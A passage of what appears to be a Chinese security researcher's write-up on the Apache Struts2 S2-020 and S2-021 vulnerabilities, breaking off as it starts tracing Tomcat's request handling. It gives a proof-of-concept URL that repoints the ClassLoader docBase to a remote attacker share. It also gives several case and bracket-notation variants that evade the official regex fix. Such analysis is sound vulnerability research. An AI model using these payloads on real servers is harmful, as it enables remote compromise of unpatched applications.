前段时间这个漏洞吵得比较火,最近研究了一下tomcat底层代码,结合struts2的框架源码跟踪了一下这个漏洞的触发过程。在整个debug过程中,感触颇多,遂留下此文以作三思笔记,不敢奢望太多,只希望对感兴趣的童鞋有所帮助,大牛飘过。如果文中哪里有不准确之处,还望各位积极拍砖指正。
0x00 老漏洞新玩法
关于利用,不得不先说一下S2-020这个漏洞,其实之前网上已经有相关文档讲述S2-020的利用方法,比如下边这两篇
http://drops.wooyun.org/papers/1377
http://sec.baidu.com/index.php?research/detail/id/18
首先要感谢作者提供利用方法。个人还是更偏向利用docBase属性,因为这个属性tomcat每个版本都有。PoC如下,
http://localhost:8080/S2_3_16_1/hello.action?class.classLoader.resources.dirContext.docBase=\\IP\evil
这是S2-020的利用,我们再回到S2-021,首先看一下官方是怎么修复的,找到struts2-core-2.3.16.1.jar中的struts-default.xml,可以看到官方修复就是将用户请求用正则过滤了一下,而且正则写的也很简陋,包括github上给出的那个修复方法,都没有过滤掉真正的利用,如图所示:
所以将S2-020的poc稍微变一下型绕过正则过滤,便是S2-021了,并且struts2默认正则大小写是敏感的。利用就很简单了,下面这几种方法都可以
http://localhost:8080/S2_3_16_1/hello.action?class[‘classLoader’].resources.dirContext.docBase=\\IP\evil
http://localhost:8080/S2_3_16_1/hello.action?Class.ClassLoader.resources.dirContext.docBase=\\IP\evil
http://localhost:8080/S2_3_16_1/hello.action?top.Class.ClassLoader..resources.dirContext.docBase=\\IP\evil
….
这里我就以Class['ClassLoader'].resources.dirContext.docBase =aa为例跟踪请求从tomcat容器到struts2框架的代码处理流程,先说一下调试环境,这里我debug的是tomcat 6.0.24的源码+struts2.3.16.1的源码。
0x01 Tomcat处理HTTP请求
首先肯定是先由tomcat来处理请求,跟踪tomcat源码,这里tomcat调用JIoEndpoint.java的run()创建socket